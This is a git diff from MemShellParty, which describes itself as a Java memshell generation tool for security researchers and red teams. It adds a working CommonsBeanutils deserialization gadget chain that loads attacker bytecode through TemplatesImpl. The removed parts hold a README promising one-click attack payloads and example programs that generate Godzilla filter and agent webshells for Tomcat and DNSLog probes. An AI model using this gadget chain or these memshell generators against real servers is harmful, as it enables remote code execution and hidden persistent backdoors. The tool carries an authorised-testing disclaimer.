|
|
||||||
|
import com.reajason.javaweb.deserialize.payload.CommonsBeanutils19;
|
||||||
|
import lombok.Getter;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/13
|
||||||
|
*/
|
||||||
|
@Getter
|
||||||
|
public enum PayloadType {
|
||||||
|
/**
|
||||||
|
* CB 链
|
||||||
|
*/
|
||||||
|
CommonsBeanutils19(new CommonsBeanutils19());
|
||||||
|
|
||||||
|
private final Payload payload;
|
||||||
|
|
||||||
|
PayloadType(Payload payload) {
|
||||||
|
this.payload = payload;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static PayloadType getPayloadType(String payloadType) {
|
||||||
|
for (PayloadType value : values()) {
|
||||||
|
if (value.name().equals(payloadType)) {
|
||||||
|
return value;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new IllegalArgumentException("unknown payload type: " + payloadType);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,52 @@
|
|||||||
|
package com.reajason.javaweb.deserialize;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.deserialize.utils.Reflections;
|
||||||
|
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
|
||||||
|
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
||||||
|
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
import net.bytebuddy.ByteBuddy;
|
||||||
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/9
|
||||||
|
*/
|
||||||
|
public class TemplateUtils {
|
||||||
|
public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
|
||||||
|
public static Class TPL_CLASS = TemplatesImpl.class;
|
||||||
|
public static Class ABST_TRANSLET = AbstractTranslet.class;
|
||||||
|
public static Class TRANS_FACTORY = TransformerFactoryImpl.class;
|
||||||
|
|
||||||
|
static {
|
||||||
|
try {
|
||||||
|
// 兼容不同 JDK 版本
|
||||||
|
if (Boolean.parseBoolean(System.getProperty("properXalan", "false"))) {
|
||||||
|
TPL_CLASS = Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl");
|
||||||
|
ABST_TRANSLET = Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet");
|
||||||
|
TRANS_FACTORY = Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl");
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SneakyThrows
|
||||||
|
public static TemplatesImpl createTemplatesImpl(byte[] bytes) {
|
||||||
|
TemplatesImpl templates = new TemplatesImpl();
|
||||||
|
byte[] fooBytes = new byte[0];
|
||||||
|
try (DynamicType.Unloaded<Object> make = new ByteBuddy()
|
||||||
|
.subclass(Object.class).name("foo")
|
||||||
|
.make()) {
|
||||||
|
fooBytes = make.getBytes();
|
||||||
|
}
|
||||||
|
|
||||||
|
Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{
|
||||||
|
bytes, fooBytes
|
||||||
|
});
|
||||||
|
|
||||||
|
Reflections.setFieldValue(templates, "_transletIndex", 0);
|
||||||
|
Reflections.setFieldValue(templates, "_name", "SimpleJava");
|
||||||
|
Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
|
||||||
|
return templates;
|
||||||
|
}
|
||||||
|
}
|
||||||
+28
@@ -0,0 +1,28 @@
|
|||||||
|
package com.reajason.javaweb.deserialize.payload;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.deserialize.Payload;
|
||||||
|
import com.reajason.javaweb.deserialize.TemplateUtils;
|
||||||
|
import com.reajason.javaweb.deserialize.utils.Reflections;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
import org.apache.commons.beanutils.BeanComparator;
|
||||||
|
|
||||||
|
import java.util.PriorityQueue;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/3
|
||||||
|
*/
|
||||||
|
public class CommonsBeanutils19 implements Payload {
|
||||||
|
@Override
|
||||||
|
@SneakyThrows
|
||||||
|
public Object generate(byte[] bytes) {
|
||||||
|
Object obj = TemplateUtils.createTemplatesImpl(bytes);
|
||||||
|
final BeanComparator<Object> comparator = new BeanComparator<>(null, String.CASE_INSENSITIVE_ORDER);
|
||||||
|
final PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
|
||||||
|
queue.add("1");
|
||||||
|
queue.add("1");
|
||||||
|
Reflections.setFieldValue(comparator, "property", "outputProperties");
|
||||||
|
Reflections.setFieldValue(queue, "queue", new Object[]{obj, obj});
|
||||||
|
return queue;
|
||||||
|
}
|
||||||
|
}
|
||||||
+3
-24
@@ -1,8 +1,7 @@
|
|||||||
package com.reajason.javaweb.packer.deserialize.utils;
|
package com.reajason.javaweb.deserialize.utils;
|
||||||
|
|
||||||
import sun.reflect.ReflectionFactory;
|
import com.reajason.javaweb.deserialize.payload.CommonsBeanutils19;
|
||||||
|
|
||||||
import java.lang.reflect.Constructor;
|
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -20,7 +19,7 @@ public class Reflections {
|
|||||||
java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
|
java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
|
||||||
Long offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
|
Long offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
|
||||||
java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
|
java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
|
||||||
getAndSetObjectM.invoke(unsafe, Reflections.class, offset, module);
|
getAndSetObjectM.invoke(unsafe, CommonsBeanutils19.class, offset, module);
|
||||||
} catch (Exception ignored) {
|
} catch (Exception ignored) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -42,24 +41,4 @@ public class Reflections {
|
|||||||
final Field field = getField(obj.getClass(), fieldName);
|
final Field field = getField(obj.getClass(), fieldName);
|
||||||
field.set(obj, value);
|
field.set(obj, value);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
|
|
||||||
final Field field = getField(obj.getClass(), fieldName);
|
|
||||||
return field.get(obj);
|
|
||||||
}
|
|
||||||
|
|
||||||
public static Object createWithoutConstructor(String classname) throws Exception {
|
|
||||||
return createWithoutConstructor(Class.forName(classname));
|
|
||||||
}
|
|
||||||
public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws Exception {
|
|
||||||
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
|
|
||||||
}
|
|
||||||
public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws Exception {
|
|
||||||
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
|
|
||||||
objCons.setAccessible(true);
|
|
||||||
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
|
|
||||||
sc.setAccessible(true);
|
|
||||||
return (T) sc.newInstance(consArgs);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
@@ -1,81 +0,0 @@
|
|||||||
<h1 align="center">MemShellParty</h1>
|
|
||||||
|
|
||||||
<p align="center"><a href="../README.md">中文</a> | English<br></p>
|
|
||||||
|
|
||||||
|
|
||||||
<div align="center">
|
|
||||||
|
|
||||||
[](https://github.com/ReaJason/MemShellParty/releases)
|
|
||||||
[](https://central.sonatype.com/artifact/io.github.reajason/generator)
|
|
||||||
[](https://hub.docker.com/r/reajason/memshell-party)
|
|
||||||
</div>
|
|
||||||
<div align="center">
|
|
||||||
|
|
||||||
[](https://t.me/memshell)
|
|
||||||
[](https://party.mem.mk)
|
|
||||||
</div>
|
|
||||||
|
|
||||||
> [!WARNING]
|
|
||||||
> This tool is intended only for security researchers, network administrators, and related technical personnel for authorized security testing, vulnerability assessment, and security auditing. Using this tool for any unauthorized network attack or penetration test is illegal, and users must bear the corresponding legal responsibility.
|
|
||||||
|
|
||||||
> [!TIP]
|
|
||||||
> Since I mainly work on security product development and do not have practical offensive experience, please feel free to open an issue or join the Telegram group if you have questions about usage, implementation, or adaptation requests. You are welcome to learn and exchange ideas together.
|
|
||||||
|
|
||||||
MemShellParty is a fast memshell generation tool focused on mainstream web middleware. It is designed to simplify the workflow of security researchers and red team members, improving offensive and defensive efficiency.
|
|
||||||
|
|
||||||
<p align="center">
|
|
||||||
<img src="../assets/normal_memshell.png" alt="normal_memshell" width="24%">
|
|
||||||
<img src="../assets/agent_memshell.png" alt="agent_memshell" width="24%">
|
|
||||||
<img src="../assets/dnslog_probe.png" alt="dnslog_probe" width="24%">
|
|
||||||
<img src="../assets/about_page.png" alt="about_page" width="24%">
|
|
||||||
</p>
|
|
||||||
|
|
||||||
## Key Features
|
|
||||||
|
|
||||||
- **Non-intrusive**: Generated memshells do not affect normal target middleware traffic, even when more than a dozen different memshells are injected at the same time.
|
|
||||||
- **Strong compatibility**: Covers common middleware and frameworks in offensive and defensive scenarios, and supports JDK6 through JDK21.
|
|
||||||
- **High availability**: A comprehensive automated test matrix has been built for all supported middleware and frameworks, ensuring each generated payload has high usability and stability while reducing uncertainty in real-world use.
|
|
||||||
- **Extremely lightweight**: Through deeply optimized bytecode generation strategies, MemShellParty greatly reduces memshell size compared with traditional tools such as JMG. Regular memshells are reduced by **30%**, and Agent memshells are reduced by **80%** using ASM.
|
|
||||||
- **One-click simplicity**: Built-in payload generation is provided for common vulnerabilities such as expression injection, deserialization, and SSTI. The system automatically configures Java module restriction bypasses and dynamically generates the optimal attack payload, enabling one-click generation for common vulnerability payloads.
|
|
||||||
- **High flexibility**: Natively supports common memshell capabilities such as Godzilla, Behinder, AntSword, Suo5, and NeoreGeorg. With the highly flexible custom memshell upload feature, any customized payload can be integrated into the MemShellParty generation system to build an attack platform that best fits your tactical needs.
|
|
||||||
|
|
||||||
## Quick Start
|
|
||||||
|
|
||||||
### Read Before Use
|
|
||||||
|
|
||||||
[Compatibility](https://party.mem.mk/ui/docs/compatibility) helps you understand MemShellParty's adaptation status for each service, so you can choose the right service type for different applications.
|
|
||||||
|
|
||||||
The probe memshell maps detected service types one by one. The detected service type is the service type that can be used to generate memshells. This is not necessarily the middleware type. For example, Apusic10 is detected as GlassFish because it is developed based on GlassFish.
|
|
||||||
|
|
||||||
### Online Site
|
|
||||||
|
|
||||||
> Only for users who want to try it out. Please use caution with other publicly exposed services, as generated memshells may contain backdoors.
|
|
||||||
|
|
||||||
You can access the master branch at [https://party.mem.mk](https://party.mem.mk). The latest image is automatically deployed for each release.
|
|
||||||
|
|
||||||
For features under development, you can try the dev branch early at [https://dev-party.mem.mk](https://dev-party.mem.mk).
|
|
||||||
|
|
||||||
### Local Deployment (Recommended)
|
|
||||||
|
|
||||||
> Suitable for quick internal network or local deployment. Starting the service directly with Docker is fast and convenient.
|
|
||||||
|
|
||||||
After deploying with Docker, access http://127.0.0.1:8080
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# Pull the latest image from Docker Hub
|
|
||||||
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
|
|
||||||
|
|
||||||
# Pull the latest image from Github Container Registry
|
|
||||||
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/reajason/memshell-party:latest
|
|
||||||
|
|
||||||
# Poor network quality? Use the Nanjing University Github Container Registry mirror
|
|
||||||
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
|
|
||||||
```
|
|
||||||
|
|
||||||
## Special Thanks
|
|
||||||
|
|
||||||
- [vulhub/java-chains](https://github.com/vulhub/java-chains)
|
|
||||||
- [pen4uin/java-memshell-generator](https://github.com/pen4uin/java-memshell-generator)
|
|
||||||
- [pen4uin/java-echo-generator](https://github.com/pen4uin/java-echo-generator)
|
|
||||||
|
|
||||||
### Let's start the party 🎉
|
|
||||||
@@ -1,44 +0,0 @@
|
|||||||
<?xml version="1.0" encoding="UTF-8"?>
|
|
||||||
<project xmlns="http://maven.apache.org/POM/4.0.0"
|
|
||||||
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
|
||||||
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
|
|
||||||
<modelVersion>4.0.0</modelVersion>
|
|
||||||
|
|
||||||
<groupId>com.reajason.javaweb.maven</groupId>
|
|
||||||
<artifactId>memshell-party-maven-example</artifactId>
|
|
||||||
<version>1.0-SNAPSHOT</version>
|
|
||||||
|
|
||||||
<properties>
|
|
||||||
<maven.compiler.source>8</maven.compiler.source>
|
|
||||||
<maven.compiler.target>8</maven.compiler.target>
|
|
||||||
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
|
|
||||||
</properties>
|
|
||||||
|
|
||||||
<dependencies>
|
|
||||||
<dependency>
|
|
||||||
<groupId>io.github.reajason</groupId>
|
|
||||||
<artifactId>generator</artifactId>
|
|
||||||
<version>2.0.0</version>
|
|
||||||
</dependency>
|
|
||||||
<dependency>
|
|
||||||
<groupId>io.github.reajason</groupId>
|
|
||||||
<artifactId>packer</artifactId>
|
|
||||||
<version>2.0.0</version>
|
|
||||||
</dependency>
|
|
||||||
</dependencies>
|
|
||||||
|
|
||||||
<!-- 使用 SNAPSHOT 版本,才需要下面这块 -->
|
|
||||||
<repositories>
|
|
||||||
<repository>
|
|
||||||
<name>Central Portal Snapshots</name>
|
|
||||||
<id>central-portal-snapshots</id>
|
|
||||||
<url>https://central.sonatype.com/repository/maven-snapshots/</url>
|
|
||||||
<releases>
|
|
||||||
<enabled>false</enabled>
|
|
||||||
</releases>
|
|
||||||
<snapshots>
|
|
||||||
<enabled>true</enabled>
|
|
||||||
</snapshots>
|
|
||||||
</repository>
|
|
||||||
</repositories>
|
|
||||||
</project>
|
|
||||||
-32
@@ -1,32 +0,0 @@
|
|||||||
package com.reajason.javaweb;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.packer.Packers;
|
|
||||||
import com.reajason.javaweb.probe.ProbeContent;
|
|
||||||
import com.reajason.javaweb.probe.ProbeMethod;
|
|
||||||
import com.reajason.javaweb.probe.ProbeShellGenerator;
|
|
||||||
import com.reajason.javaweb.probe.ProbeShellResult;
|
|
||||||
import com.reajason.javaweb.probe.config.DnsLogConfig;
|
|
||||||
import com.reajason.javaweb.probe.config.ProbeConfig;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/8/13
|
|
||||||
*/
|
|
||||||
public class DnsLogProbe {
|
|
||||||
public static void main(String[] args) {
|
|
||||||
ProbeConfig probeConfig = ProbeConfig.builder()
|
|
||||||
.probeMethod(ProbeMethod.DNSLog)
|
|
||||||
.probeContent(ProbeContent.Server) // 暂只支持 Server 和 JDK
|
|
||||||
.shrink(true)
|
|
||||||
.debug(false)
|
|
||||||
.build();
|
|
||||||
|
|
||||||
DnsLogConfig dnsLogConfig = DnsLogConfig.builder()
|
|
||||||
.host("xxx.dns.log")
|
|
||||||
.build();
|
|
||||||
|
|
||||||
ProbeShellResult result = ProbeShellGenerator.generate(probeConfig, dnsLogConfig);
|
|
||||||
|
|
||||||
System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result.toClassPackerConfig()));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
-50
@@ -1,50 +0,0 @@
|
|||||||
package com.reajason.javaweb;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.MemShellGenerator;
|
|
||||||
import com.reajason.javaweb.memshell.MemShellResult;
|
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
|
||||||
import com.reajason.javaweb.memshell.config.GodzillaConfig;
|
|
||||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
|
||||||
import com.reajason.javaweb.packer.Packers;
|
|
||||||
|
|
||||||
import static com.reajason.javaweb.Server.Tomcat;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/4/6
|
|
||||||
*/
|
|
||||||
public class Godzilla {
|
|
||||||
public static void main(String[] args) {
|
|
||||||
ShellConfig shellConfig = ShellConfig.builder()
|
|
||||||
.server(Tomcat)
|
|
||||||
.shellTool(ShellTool.Godzilla)
|
|
||||||
.shellType(ShellType.FILTER)
|
|
||||||
.shrink(true) // 缩小字节码
|
|
||||||
.debug(false) // 关闭调试
|
|
||||||
.build();
|
|
||||||
|
|
||||||
InjectorConfig injectorConfig = InjectorConfig.builder()
|
|
||||||
// .urlPattern("/*") // 自定义 urlPattern,默认就是 /*
|
|
||||||
// .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名,默认为空时随机生成
|
|
||||||
// .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名,默认为空时随机生成
|
|
||||||
.build();
|
|
||||||
|
|
||||||
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
|
|
||||||
// .pass("pass")
|
|
||||||
// .key("key")
|
|
||||||
// .headerName("User-Agent")
|
|
||||||
// .headerValue("test")
|
|
||||||
.build();
|
|
||||||
|
|
||||||
MemShellResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
|
|
||||||
|
|
||||||
System.out.println("注入器类名:" + result.getInjectorClassName());
|
|
||||||
System.out.println("内存马类名:" + result.getShellClassName());
|
|
||||||
|
|
||||||
System.out.println(result.getShellConfig());
|
|
||||||
System.out.println(result.getShellToolConfig());
|
|
||||||
System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result.toClassPackerConfig()));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
-57
@@ -1,57 +0,0 @@
|
|||||||
package com.reajason.javaweb;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.MemShellGenerator;
|
|
||||||
import com.reajason.javaweb.memshell.MemShellResult;
|
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
|
||||||
import com.reajason.javaweb.memshell.config.GodzillaConfig;
|
|
||||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
|
||||||
import com.reajason.javaweb.packer.Packers;
|
|
||||||
import com.reajason.javaweb.packer.jar.JarPacker;
|
|
||||||
|
|
||||||
import java.nio.file.Files;
|
|
||||||
import java.nio.file.Paths;
|
|
||||||
|
|
||||||
import static com.reajason.javaweb.Server.Tomcat;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/4/6
|
|
||||||
*/
|
|
||||||
public class GodzillaAgent {
|
|
||||||
|
|
||||||
public static void main(String[] args) throws Exception {
|
|
||||||
ShellConfig shellConfig = ShellConfig.builder()
|
|
||||||
.server(Tomcat)
|
|
||||||
.shellTool(ShellTool.Godzilla)
|
|
||||||
.shellType(ShellType.AGENT_FILTER_CHAIN)
|
|
||||||
.shrink(true) // 缩小字节码
|
|
||||||
.debug(false) // 关闭调试
|
|
||||||
.build();
|
|
||||||
|
|
||||||
InjectorConfig injectorConfig = InjectorConfig.builder()
|
|
||||||
// .urlPattern("/*") // 自定义 urlPattern,默认就是 /*
|
|
||||||
// .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名,默认为空时随机生成
|
|
||||||
// .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名,默认为空时随机生成
|
|
||||||
.build();
|
|
||||||
|
|
||||||
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
|
|
||||||
// .pass("pass")
|
|
||||||
// .key("key")
|
|
||||||
// .headerName("User-Agent")
|
|
||||||
// .headerValue("test")
|
|
||||||
.build();
|
|
||||||
|
|
||||||
MemShellResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
|
|
||||||
|
|
||||||
System.out.println("注入器类名:" + result.getInjectorClassName());
|
|
||||||
System.out.println("内存马类名:" + result.getShellClassName());
|
|
||||||
|
|
||||||
System.out.println(result.getShellConfig());
|
|
||||||
System.out.println(result.getShellToolConfig());
|
|
||||||
|
|
||||||
byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result.toJarPackerConfig());
|
|
||||||
Files.write(Paths.get("agent.jar"), agentJarBytes);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
-35
@@ -1,35 +0,0 @@
|
|||||||
package com.reajason.javaweb;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.packer.Packers;
|
|
||||||
import com.reajason.javaweb.probe.ProbeContent;
|
|
||||||
import com.reajason.javaweb.probe.ProbeMethod;
|
|
||||||
import com.reajason.javaweb.probe.ProbeShellGenerator;
|
|
||||||
import com.reajason.javaweb.probe.ProbeShellResult;
|
|
||||||
import com.reajason.javaweb.probe.config.ProbeConfig;
|
|
||||||
import com.reajason.javaweb.probe.config.ResponseBodyConfig;
|
|
||||||
|
|
||||||
import static com.reajason.javaweb.Server.Tomcat;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/8/13
|
|
||||||
*/
|
|
||||||
public class ResponseBodyProbe {
|
|
||||||
public static void main(String[] args) {
|
|
||||||
ProbeConfig probeConfig = ProbeConfig.builder()
|
|
||||||
.probeMethod(ProbeMethod.ResponseBody)
|
|
||||||
.probeContent(ProbeContent.Command)
|
|
||||||
.shrink(true)
|
|
||||||
.debug(false)
|
|
||||||
.build();
|
|
||||||
|
|
||||||
ResponseBodyConfig responseBodyConfig = ResponseBodyConfig.builder()
|
|
||||||
.server(Tomcat)
|
|
||||||
.reqHeaderName("X-Echo")
|
|
||||||
.build();
|
|
||||||
|
|
||||||
ProbeShellResult result = ProbeShellGenerator.generate(probeConfig, responseBodyConfig);
|
|
||||||
|
|
||||||
System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result.toClassPackerConfig()));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
-34
@@ -1,34 +0,0 @@
|
|||||||
package com.reajason.javaweb;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.packer.Packers;
|
|
||||||
import com.reajason.javaweb.probe.ProbeContent;
|
|
||||||
import com.reajason.javaweb.probe.ProbeMethod;
|
|
||||||
import com.reajason.javaweb.probe.ProbeShellGenerator;
|
|
||||||
import com.reajason.javaweb.probe.ProbeShellResult;
|
|
||||||
import com.reajason.javaweb.probe.config.ProbeConfig;
|
|
||||||
import com.reajason.javaweb.probe.config.SleepConfig;
|
|
||||||
|
|
||||||
import static com.reajason.javaweb.Server.Tomcat;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/8/13
|
|
||||||
*/
|
|
||||||
public class SleepProbe {
|
|
||||||
public static void main(String[] args) {
|
|
||||||
ProbeConfig probeConfig = ProbeConfig.builder()
|
|
||||||
.probeMethod(ProbeMethod.Sleep)
|
|
||||||
.probeContent(ProbeContent.Server) // 暂只支持 Server
|
|
||||||
.shrink(true)
|
|
||||||
.debug(false)
|
|
||||||
.build();
|
|
||||||
|
|
||||||
SleepConfig sleepConfig = SleepConfig.builder()
|
|
||||||
.server(Tomcat)
|
|
||||||
.seconds(5).build();
|
|
||||||
|
|
||||||
ProbeShellResult result = ProbeShellGenerator.generate(probeConfig, sleepConfig);
|
|
||||||
|
|
||||||
System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result.toClassPackerConfig()));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,71 @@
|
|||||||
|
plugins {
|
||||||
|
id "io.freefair.lombok" version "8.11"
|
||||||
|
}
|
||||||
|
|
||||||
|
java {
|
||||||
|
toolchain {
|
||||||
|
languageVersion = JavaLanguageVersion.of(17)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
group = 'com.reajason.javaweb.memsell'
|
||||||
|
version = rootProject.version
|
||||||
|
|
||||||
|
test {
|
||||||
|
useJUnitPlatform()
|
||||||
|
finalizedBy jacocoTestReport
|
||||||
|
}
|
||||||
|
|
||||||
|
def runtimeJvmArgs = [
|
||||||
|
'--add-opens=java.base/java.util=ALL-UNNAMED',
|
||||||
|
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
|
||||||
|
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
|
||||||
|
]
|
||||||
|
|
||||||
|
tasks.withType(JavaCompile).configureEach {
|
||||||
|
options.compilerArgs += [
|
||||||
|
'--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
|
||||||
|
'--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
|
||||||
|
]
|
||||||
|
}
|
||||||
|
|
||||||
|
tasks.withType(Test).configureEach {
|
||||||
|
jvmArgs += runtimeJvmArgs
|
||||||
|
}
|
||||||
|
|
||||||
|
// For running the application
|
||||||
|
tasks.withType(JavaExec).configureEach {
|
||||||
|
jvmArgs += runtimeJvmArgs
|
||||||
|
}
|
||||||
|
|
||||||
|
dependencies {
|
||||||
|
implementation project(":common")
|
||||||
|
implementation project(":deserialize")
|
||||||
|
implementation project(":memshell")
|
||||||
|
implementation project(":memshell-java8")
|
||||||
|
implementation 'net.bytebuddy:byte-buddy'
|
||||||
|
|
||||||
|
implementation 'javax.servlet:javax.servlet-api'
|
||||||
|
implementation 'javax.websocket:javax.websocket-api'
|
||||||
|
implementation 'jakarta.servlet:jakarta.servlet-api'
|
||||||
|
|
||||||
|
implementation 'xalan:xalan'
|
||||||
|
implementation 'org.apache.bcel:bcel'
|
||||||
|
|
||||||
|
implementation 'commons-io:commons-io'
|
||||||
|
implementation 'org.apache.commons:commons-lang3'
|
||||||
|
implementation 'commons-codec:commons-codec'
|
||||||
|
implementation 'com.squareup.okhttp3:okhttp'
|
||||||
|
implementation 'ch.qos.logback:logback-classic'
|
||||||
|
implementation 'com.alibaba.fastjson2:fastjson2'
|
||||||
|
implementation 'org.java-websocket:Java-WebSocket'
|
||||||
|
|
||||||
|
implementation 'org.springframework:spring-webmvc'
|
||||||
|
implementation 'org.springframework:spring-webflux'
|
||||||
|
implementation 'io.projectreactor.netty:reactor-netty-core'
|
||||||
|
|
||||||
|
testImplementation platform('org.junit:junit-bom')
|
||||||
|
testImplementation 'org.junit.jupiter:junit-jupiter'
|
||||||
|
testRuntimeOnly 'org.junit.platform:junit-platform-launcher'
|
||||||
|
testImplementation "org.mockito:mockito-core"
|
||||||
|
}
|
||||||
@@ -1,51 +0,0 @@
|
|||||||
plugins {
|
|
||||||
id("java-library")
|
|
||||||
alias(libs.plugins.lombok)
|
|
||||||
id("maven-publish-convention")
|
|
||||||
}
|
|
||||||
|
|
||||||
java {
|
|
||||||
toolchain {
|
|
||||||
languageVersion = JavaLanguageVersion.of(8)
|
|
||||||
}
|
|
||||||
sourceCompatibility = JavaVersion.VERSION_1_8
|
|
||||||
targetCompatibility = JavaVersion.VERSION_1_8
|
|
||||||
}
|
|
||||||
|
|
||||||
group = "io.github.reajason"
|
|
||||||
description = "MemShell Generator for Java"
|
|
||||||
version = rootProject.version
|
|
||||||
|
|
||||||
tasks.compileTestJava {
|
|
||||||
javaCompiler.set(javaToolchains.compilerFor {
|
|
||||||
languageVersion.set(JavaLanguageVersion.of(17))
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
tasks.test {
|
|
||||||
useJUnitPlatform()
|
|
||||||
}
|
|
||||||
|
|
||||||
dependencies {
|
|
||||||
implementation(project(":memshell-party-common"))
|
|
||||||
implementation(project(":packer"))
|
|
||||||
api(libs.byte.buddy)
|
|
||||||
implementation(libs.asm.commons)
|
|
||||||
implementation(libs.javax.websocket.api)
|
|
||||||
implementation(libs.jakarta.websocket.client.api)
|
|
||||||
implementation(libs.javax.servlet.api)
|
|
||||||
implementation(libs.jakarta.servlet.api)
|
|
||||||
implementation(libs.spring.webmvc)
|
|
||||||
implementation(libs.spring.webflux)
|
|
||||||
implementation(libs.tomcat.embed.core)
|
|
||||||
implementation(libs.reactor.netty.core)
|
|
||||||
implementation(libs.alibaba.dubbo)
|
|
||||||
implementation(libs.apache.dubbo)
|
|
||||||
implementation(libs.jackson.annotations)
|
|
||||||
implementation(libs.bundles.jna)
|
|
||||||
|
|
||||||
testImplementation(libs.junit.jupiter)
|
|
||||||
testImplementation(libs.hamcrest)
|
|
||||||
testRuntimeOnly(libs.junit.platform.launcher)
|
|
||||||
testImplementation(libs.bundles.mockito)
|
|
||||||
}
|
|
||||||
@@ -1,15 +0,0 @@
|
|||||||
package com.reajason.javaweb;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/7/21
|
|
||||||
*/
|
|
||||||
public class GenerationException extends RuntimeException {
|
|
||||||
public GenerationException(String message) {
|
|
||||||
super(message);
|
|
||||||
}
|
|
||||||
|
|
